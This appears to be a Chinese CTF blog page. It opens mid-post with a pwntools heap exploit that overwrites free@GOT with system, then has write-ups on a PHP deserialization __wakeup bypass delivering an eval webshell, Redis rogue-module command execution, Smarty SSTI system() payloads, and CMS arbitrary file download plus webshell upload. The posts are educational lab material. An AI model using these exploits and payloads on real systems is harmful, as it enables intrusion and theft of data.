改写比较好的选择就是free的真实地址,只在delete的时候被用到,只要堆的内容是/bin/sh改写成system真实地址之后就可以直接执行

尝试一

通过和0x1中同样方法可以知道下标-263024能拿到free@got的地址,首先就想着能不能通过edt直接改,但是edt还要拿一个size,由于HEAP_PTRS和SIZES相差8个qword即64个字节,偏移之后同样也是差64个字节,可以看到size为0,所以写不了

1
2
3
4
5
6
7
8
9
gef➤  search-pattern 0x602020
0x400520 - 0x40052c
gef➤ x/10gx 0x400520
0x400520: [HEAP_PTRS-263024]➤ 0x0000000000602018 0x0000000100000007
0x400530: 0x0000000000000000 0x0000000000602020
0x400540: 0x0000000200000007 0x0000000000000000
0x400550: 0x0000000000602028 0x0000000300000007
0x400560: [SIZES-263024]➤ 0x0000000000000000 0x0000000000602030
0x400570: 0x0000000400000007 0x0000000000000000

最后

因为new_dream创建超过8后就会覆盖SIZES数组,因此SIZES内容可控,同时也可以作为HEAP_PTRS中的指针;因此可以写入free@got 0x602018,经尝试后写入SIZES[18]即为HEAP_PTRS[17],对应大小即SIZES[17] 理想情况即为:

1
2
3
4
5
6
7
8
9
10
11
gef➤  sq 0x00000000006020A0
0x6020a0 <HEAP_PTRS>: 0x0000000000b74270 0x0000000000b74290
0x6020b0 <HEAP_PTRS+16>: 0x0000000000b742b0 0x0000000000b742d0
0x6020c0 <HEAP_PTRS+32>: 0x0000000000b742f0 0x0000000000b74310
0x6020d0 <HEAP_PTRS+48>: 0x0000000000b74330 0x0000000000b74350
0x6020e0 <SIZES>: 0x0000000000b74370 0x0000000000b74390
0x6020f0 <SIZES+16>: 0x0000000000b743b0 0x0000000000b743d0
0x602100: 0x0000000000b743f0 0x0000000000b74410
0x602110: 0x0000000000b74430 0x0000001000b74450
0x602120: 0x00000010[size➤]00000010 0x0000000000602018 # here
0x602130: 0x00007f8c121fd010 0x0000000000000000

然后再edit HEAP[17],改写为system真实地址 最后delete调用free即可触发

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
from ctypes import *
import sys

pty = process.PTY
context(os='linux', arch='i386', log_level='debug')
mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

proc = process("./dream_heaps")
belf = ELF("./dream_heaps")
libc = ELF("./libc-2.27.so")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sd(x): return proc.send(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(size, con):
sla(b'> ', b'1')
sla(b'dream?', str(size).encode())
sa(b'dream?', con)

def edt(idx, con):
sla(b'> ', b'3')
sla(b'change?', str(idx).encode())
s(con[:6])

def shw(idx):
sla(b'> ', b'2')
sla(b'read?', str(idx).encode())


def rmv(idx):
sla(b'> ', b'4')
sla(b'delete?', str(idx).encode())


gscript = '''
unhook-chunks
b * 0x400b2d
sq 0x00000000006020A0
'''
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

heap_arr = 0x00000000006020A0
free_got = belf.got['free']

# 泄露libc
shw(-263021)
libc_base = ga() - libc.sym['puts']
success("libc base: " + hex(libc_base))

# heap_arr 溢出
for i in range(18):
add(0x10, b'/bin/sh')
# size为0x602018
add(free_got, b'h')

edt(17, p64(libc_base + libc.sym['system']))
rmv(0)

pi()
pause()
Read More
post @ 2023-08-31

题目链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
 <?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);

}
function __wakeup(){
$this->code = "";
}
}

class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}


}else{
highlight_file(__FILE__);
}

明显反序列化执行5#eval,但是需要绕过8#__wakeup

wakeup绕过方式即让反序列化出来的类元素个数与实际元素个数不同

尝试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php  
class A{
public $code = "eval(\$_POST['cmd']);";
}

class B{
}

$a = new B;
$b = new A;

$a->a = $b;

echo serialize($a) . "\n\n";
echo urlencode(serialize($a)) . "\n";

echo str_replace('A":1', 'A":2', serialize($a)) . "\n\n";
// O:1:"B":1:{s:1:"a";O:1:"A":2:{s:4:"code";s:20:"eval($_POST['cmd']);";}}

但过不了检测,会提示you want to bypass wakeup ? no !

代码中正则匹配了"B":x"A":x类型中对应下标为1(即第2个,即A)的x个数是否为1,这里为2所以过不了检测;有两种绕过方法

法一

1可以过检测,那我们就让实际元素个数不为1(这里多加一个成员变量),也可以绕过

1
2
3
$b->b = 0;
echo str_replace('A":2', 'A":a', serialize($a)) . "\n\n";
// O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:20:"eval($_POST['cmd']);";s:1:"b";i:0;}}

法二

php对类名大小写不敏感,将A1替换为a2即可

1
2
echo str_replace('A":1', 'a":2', serialize($a)) . "\n\n";
// O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:20:"eval($_POST['cmd']);";}}

绕过后执行命令

1
poc=O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:20:"eval($_POST['cmd']);";}}&cmd=phpinfo();

phpinfo()可以执行,但是system尝试发现被过滤

连接蚁剑发现同一目录下有一个vim备份文件config.php.swp vim打开后发现

1
2
3
4
5
6
7
8
<?php

define("DB_HOST","localhost");
define("DB_USERNAME","root");
define("DB_PASSWOrd","");
define("DB_DATABASE","test");

define("REDIS_PASS","you_cannot_guess_it");

给了REDIS的密码you_cannot_guess_it

https://github.com/Dliv3/redis-rogue-server中下载`exp.so` 并在蚁剑中上传

蚁剑插件商城中下载 Redis管理 然后右键链接选择该插件

m

点击新建然后输入密码即可连接成功,这时随便右键一个db选择执行命令

m

1
2
MODULE LOAD /var/www/html/exp.so
system.exec "ls /;cat /f*"

m

Read More
post @ 2023-08-30

题目链接

页面提示 模板都一样我很抱歉OVO BUT YOU CAN POST ME A data

post data对应回显

1
2
3
4
5
6
7
data=1   1;

data={2*2} 4; # 明显SSTI模板注入

data={config}
Fatal error: Uncaught --> Smarty Compiler: Syntax error in template "string:<!doctype html> <html lang="en" class="n..." on line 19 "<p>{config}</p>" unknown tag 'config' <-- thrown in /var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php on line 19
# 发现是smarty插件

{$smarty.version}可以看到smarty的版本号

两种方式实现代码执行

1
2
data={if system('ls /;cat /flag_13_searchmaster')}{/if}	# 法一
data={{system('ls /;cat /flag_13_searchmaster')}} # 法二
Read More
post @ 2023-08-30

题目链接

0x1 信息收集

  1. 页面点来点去发现没有有效跳转
  2. 漏洞库搜索蝉知也没找到相关CVE
  3. 目录扫描发现/admin.php

0x2 登录

弱口令admin 12345登录成功

0x3 CMS分析

经过探索后发现

  1. 设计 - 高级 当中可以更改全局php文件,但是有要求

    m

  2. 设计 - 组件 - 素材库 当中可以上传文件,但是像php, phtml, .htaccess什么的都上传不了,上传成功后可以编辑文件名、更换附件

  3. 设计 - 主题 - 自定义- 导出主题 可以下载文件

    m

    由此可以得到下载链接http://node4.anna.nssctf.cn:28447/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=

0x4 攻击

法一

下载链接中的theme字段明显为base64编码 解码为 /var/www/html/system/tmp/theme/default/1.zip

由此猜测可以实现任意文件下载,获取flag:

1
2
3
4
5
6
$ echo -n '/flag' | base64
L2ZsYWc=

# 访问 http://node4.anna.nssctf.cn:28447/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=
$ cat flag.zip
# flag

法二

  1. 素材库中上传txt文件,编辑文件名尝试目录穿越,以满足0x3.1.中修改php文件

    m

    提示保存成功(注意目录穿越中如果不知道相对路径可以尝试多加几个../保证回退到根目录再使用绝对路径即可)

  2. 再次重复0x3.1.长传一句话木马即可成功上传,此时访问主页面post cmd=system('cat /flag')即可

Read More
⬆︎TOP